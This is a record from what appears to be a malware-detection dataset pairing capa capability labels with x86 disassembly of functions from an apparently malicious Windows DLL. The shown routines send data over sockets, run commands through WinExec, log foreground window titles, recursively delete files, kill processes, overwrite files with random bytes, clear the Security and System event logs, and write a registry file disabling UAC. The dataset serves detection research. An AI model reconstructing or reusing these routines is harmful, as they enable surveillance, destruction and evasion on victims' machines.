joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001ed7
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10001e8c
add esp, 8
mov dword [ebp - 0xc], 0
mov edx, dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0xf
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
jmp 0x10001f23
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp + 0x10]
jb 0x10001f95
mov dword [ebp - 0x18], 0
jmp 0x10001f3d
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 0x10]
jge 0x10001f69
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x10001f67
jmp 0x10001f69
jmp 0x10001f34
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x10]
jne 0x10001f79
or eax, 0xffffffff
jmp 0x10001fff
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001f1a
cmp dword [ebp - 4], 0
jle 0x10001fef
mov dword [ebp - 0x1c], 0
jmp 0x10001fad
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x10]
jge 0x10001fd9
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x48]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x10001fd7
jmp 0x10001fd9
jmp 0x10001fa4
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x10]
jne 0x10001fe6
or eax, 0xffffffff
jmp 0x10001fff
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
cmp edx, dword [ebp + 0xc]
jne 0x10001ffc
mov eax, dword [ebp - 0x14]
jmp 0x10001fff
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10002162
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0
push 0x100309f4
call fcn.10012547
add esp, 8
cmp eax, 0xffffffff
je 0x1000220f
push 0x10030a10
mov eax, dword [ebp + 8]
push eax
call fcn.10012534
add esp, 8
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
push ecx
push 0x400
lea edx, [ebp - 0x100]
push edx
call fcn.100124a1
add esp, 0xc
test eax, eax
je 0x100021cf
lea eax, [ebp - 0x100]
push eax
push 0x10030a14
call fcn.10012460
add esp, 8
jmp 0x1000219a
push 0x10030a18
call fcn.10012460
add esp, 4
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x100]
push edx
call fcn.10012380
add esp, 8
push 0
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov ecx, dword [ebp - 0x104]
push ecx
call fcn.100122e6
add esp, 4
jmp 0x1000221c
push 0x10030a1c
call fcn.10003c2c
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x10002437
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov dword [ebp - 0x130], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10002478
xor eax, eax
jmp 0x100024d8
mov edx, 1
test edx, edx
je 0x100024c8
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100024a1
jmp 0x100024c8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.10012590
add esp, 8
test eax, eax
jne 0x100024c6
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x130], ecx
jmp 0x100024c8
jmp 0x10002478
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x130]
mov esp, ebp
pop ebp
ret

Function at 0x10002552
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
and eax, 0xff
test eax, eax
je 0x1000256f
push 6
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jmp 0x1000257e
push 0x80
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop ebp
ret
Function at 0x10002975
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 4], 0
mov dword [ebp - 8], 1
lea eax, [ebp - 0x10]
push eax
push 0x20019
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x100029ac
xor al, al
jmp 0x100029e7
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], 0
je 0x100029e0
cmp dword [ebp - 0xc], 0xea
jne 0x100029e4
mov byte [ebp - 4], 1
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x10003bc9
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10003bf9
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xec1
push 0x1002d13c
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003c1b
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003c2c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10003c5c
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xb
push 0x1002e000
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10003c7b
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x10003c8c
Capabilities:
Get common file path
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 0
push 0x1c
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x114], 0x10037212
push 0x100319b0
lea ecx, [ebp - 0x10c]
push ecx
call fcn.10012380
add esp, 8
mov edx, dword [ebp - 0x114]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.10012380
add esp, 8
push 0x100319b4
lea ecx, [ebp - 0x10c]
push ecx
call fcn.10012380
add esp, 8
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x110], eax
mov dword [ebp - 8], 0
push 0
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3200000
jae 0x10003d4a
push 2
push 0
push 0
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x10003d7d
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push edi
push 0x400
push 0
push 0x1003e8cc
call fcn.10012110
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov dword [0x1003f0cc], eax
push 0x400
push 0x1003e8cc
mov eax, dword [0x1003f0cc]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 0x404], 0
mov byte [ebp - 0x400], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x3ff]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x1003eccc
push 0x1003e8cc
call fcn.10012590
add esp, 8
test eax, eax
je 0x10003ec5
push 0x1003e8cc
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x10003eae
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, dword [ebp - 0x408]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x40a]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x40c]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x40e]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x412]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x414]
and ecx, 0xffff
push ecx
push 0x1003e8cc
push 0x100319bc
lea edx, [ebp - 0x400]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
lea eax, [ebp - 0x400]
push eax
call fcn.10003c8c
add esp, 4
push 0x400
push 0
lea ecx, [ebp - 0x400]
push ecx
call fcn.10012110
add esp, 0xc
mov dword [ebp - 0x404], 1
push 0x400
push 0x1003e8cc
push 0x1003eccc
call fcn.100118b0
add esp, 0xc
mov eax, dword [ebp - 0x404]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004277
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100260d0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
lea eax, [ebp - 0x164]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x20]
call fcn.10006860
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
call fcn.10006930
sub eax, 1
push eax
lea ecx, [ebp - 0x20]
call fcn.100068d0
movsx edx, byte [eax]
cmp edx, 0x5c
je 0x100042d5
push 0x5c
lea ecx, [ebp - 0x20]
call fcn.100068b0
lea eax, [ebp - 0x160]
push eax
push 0x10031a18
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x174]
push edx
call fcn.10006f30
add esp, 0xc
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x1a4], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1a4]
call fcn.10006900
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x174]
call fcn.10006890
cmp dword [ebp - 0x10], 0xffffffff
jne 0x10004355
mov byte [ebp - 0x178], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10006890
mov al, byte [ebp - 0x178]
jmp 0x10004485
mov ecx, dword [ebp - 0x160]
and ecx, 0x10
test ecx, ecx
je 0x100043eb
push 0x10031a1c
lea edx, [ebp - 0x134]
push edx
call fcn.10016f40
add esp, 8
test eax, eax
je 0x100043e9
push 0x10031a20
lea eax, [ebp - 0x134]
push eax
call fcn.10016f40
add esp, 8
test eax, eax
je 0x100043e9
lea ecx, [ebp - 0x134]
push ecx
lea edx, [ebp - 0x20]
push edx
lea eax, [ebp - 0x188]
push eax
call fcn.10006f30
add esp, 0xc
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x1a8]
mov dword [ebp - 0x1ac], ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x1ac]
call fcn.10006900
push eax
call fcn.10004277
add esp, 4
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x188]
call fcn.10006890
jmp 0x1000443c
lea edx, [ebp - 0x134]
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x198]
push ecx
call fcn.10006f30
add esp, 0xc
mov dword [ebp - 0x1b0], eax
mov edx, dword [ebp - 0x1b0]
mov dword [ebp - 0x1b4], edx
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x1b4]
call fcn.10006900
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x198]
call fcn.10006890
lea eax, [ebp - 0x160]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10004355
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
mov byte [ebp - 0x19c], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
call fcn.10006890
mov al, byte [ebp - 0x19c]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10004493
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100260ef
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x144
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0x128
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x10004506
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x148]
jmp 0x10004633
lea ecx, [ebp + 8]
call fcn.1002156e
lea edx, [ebp - 0x138]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x1000460a
lea ecx, [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.1002130b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x13c]
call fcn.1002156e
lea ecx, [ebp + 8]
call fcn.10007440
push eax
lea ecx, [ebp - 0x13c]
call fcn.10007450
test eax, eax
jne 0x100045e9
mov edx, dword [ebp - 0x130]
mov dword [ebp - 0x140], edx
mov eax, dword [ebp - 0x140]
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x144], eax
push 0
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
lea ecx, [ebp - 0x13c]
call fcn.10021526
push 0xffffffffffffffff
lea ecx, [ebp + 8]
call fcn.10021526
mov dword [ebp - 0x14c], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.100212e1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x14c]
jmp 0x10004633
push 0xffffffffffffffff
lea ecx, [ebp - 0x13c]
call fcn.10021526
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.100212e1
jmp 0x1000450e
push 0xffffffffffffffff
lea ecx, [ebp + 8]
call fcn.10021526
mov dword [ebp - 0x150], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x10004641
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1114
call fcn.10012170
push edi
push 0x800
call fcn.100121e4
add esp, 4
mov dword [ebp - 0x1114], eax
mov eax, dword [ebp - 0x1114]
mov dword [ebp - 8], eax
push 0x104
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.10012110
add esp, 0xc
mov byte [ebp - 0x1008], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x1007]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x808], 0
mov ecx, 0x1ff
xor eax, eax
lea edi, [ebp - 0x807]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x10031a24
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x100047cb
mov byte [ebp - 0x110c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x110b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea edx, [ebp - 0x110c]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 0x10031a38
lea ecx, [ebp - 0x110c]
push ecx
call fcn.10012590
add esp, 8
test eax, eax
jne 0x100047b7
cmp dword [ebp - 4], 0
je 0x10004731
push 0x104
lea edx, [ebp - 0x1008]
push edx
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [ebp - 0x1008]
push ecx
call fcn.10012650
add esp, 4
mov dword [ebp - 0x1110], eax
mov edx, dword [ebp - 0x1110]
sub edx, 1
mov dword [ebp - 0x1110], edx
mov eax, dword [ebp - 0x1110]
movsx ecx, byte [ebp + eax - 0x1008]
cmp ecx, 0x5f
jne 0x10004746
mov edx, dword [ebp - 0x1110]
lea eax, [ebp + edx - 0x1007]
push eax
lea ecx, [ebp - 0x808]
push ecx
call fcn.10012370
add esp, 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x100047a4
push 0x10031a4c
mov eax, dword [ebp - 8]
push eax
call fcn.10012380
add esp, 8
lea ecx, [ebp - 0x808]
push ecx
mov edx, dword [ebp - 8]
push edx
call fcn.10012380
add esp, 8
push 2
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp - 4], eax
jmp 0x100046c0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x100047ea
push 0x10031a50
mov edx, dword [ebp - 8]
push edx
call fcn.10012370
add esp, 8
mov eax, dword [ebp - 8]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004903
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
push edi
push 0x10031a60
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
xor eax, eax
mov ax, word [0x1003e8c2]
test eax, eax
jne 0x1000492c
jmp 0x10004a73
xor ecx, ecx
mov cx, word [0x1003e8c2]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shl edx, 0xa
mov dword [ebp - 0x10], edx
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xffffffff
jne 0x1000496b
jmp 0x10004a73
push 2
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
shl eax, 0xa
cmp eax, dword [ebp - 0xc]
jbe 0x10004a69
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x414], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x413]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x41c], 0
jmp 0x100049d7
mov ecx, dword [ebp - 0x41c]
add ecx, 1
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x41c]
cmp edx, dword [ebp - 0x10]
jae 0x10004a69
mov eax, dword [ebp - 0x41c]
xor edx, edx
mov ecx, 0x400
div ecx
test edx, edx
jne 0x10004a45
mov dword [ebp - 0x420], 0
jmp 0x10004a14
mov edx, dword [ebp - 0x420]
add edx, 1
mov dword [ebp - 0x420], edx
cmp dword [ebp - 0x420], 0x400
jge 0x10004a45
call fcn.10012bc4
add eax, dword [ebp - 0x420]
movsx eax, al
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x420]
mov byte [ebp + eax - 0x414], dl
jmp 0x10004a05
push 0
lea ecx, [ebp - 0x418]
push ecx
push 0x400
lea edx, [ebp - 0x414]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x100049c8
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x10004dea
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0xc], str.Application
mov dword [ebp - 8], str.Security
mov dword [ebp - 4], str.System
mov eax, dword [ebp + 8]
and eax, 0xff
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 1
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], 3
ja case.default.0x10004e22
mov edx, dword [ebp - 0x18]
jmp dword [edx*4 + 0x10004eac]
jmp 0x10004e5d
mov dword [ebp - 8], 0x1003f3e0
mov dword [ebp - 4], 0x1003f3e4
jmp 0x10004e5d
mov dword [ebp - 0xc], 0x1003f3e8
mov dword [ebp - 4], 0x1003f3ec
jmp 0x10004e5d
mov dword [ebp - 0xc], 0x1003f3f0
mov dword [ebp - 8], 0x1003f3f4
jmp 0x10004e5d
jmp 0x10004ea8
mov dword [ebp - 0x10], 0
jmp 0x10004e6f
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jae 0x10004ea8
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + ecx*4 - 0xc]
push edx
push 0
call dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10004e90
jmp 0x10004e66
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
jmp 0x10004e66
mov esp, ebp
pop ebp
ret

Function at 0x10004ebc
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov byte [ebp - 4], 0
push 0
push 0
push 2
push 0
push 1
push 0x40000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10004eec
mov byte [ebp - 4], 0
push 0
lea ecx, [ebp - 8]
push ecx
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x10004f0e
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x1000514c
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002612d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x148
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xffffffff
jne 0x100051ad
mov dword [ebp - 0x148], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x148]
jmp 0x100052fb
mov dword [ebp - 0x134], 0x128
lea eax, [ebp - 0x134]
push eax
mov ecx, dword [ebp - 0x138]
push ecx
call sub.KERNEL32.dll_Process32First
test eax, eax
jne 0x100051ff
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x14c], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x14c]
jmp 0x100052fb
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x13c]
call fcn.1002130b
mov byte [ebp - 4], 1
lea ecx, [ebp + 8]
call fcn.10007440
push eax
lea ecx, [ebp - 0x13c]
call fcn.10007490
test eax, eax
jne 0x100052a5
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 0x140], ecx
mov edx, dword [ebp - 0x140]
push edx
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0
je 0x10005275
push 0
mov eax, dword [ebp - 0x144]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 1
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.100212e1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x150]
jmp 0x100052fb
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x13c]
call fcn.100212e1
lea edx, [ebp - 0x134]
push edx
mov eax, dword [ebp - 0x138]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x100051ff
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x154], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.100212e1
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret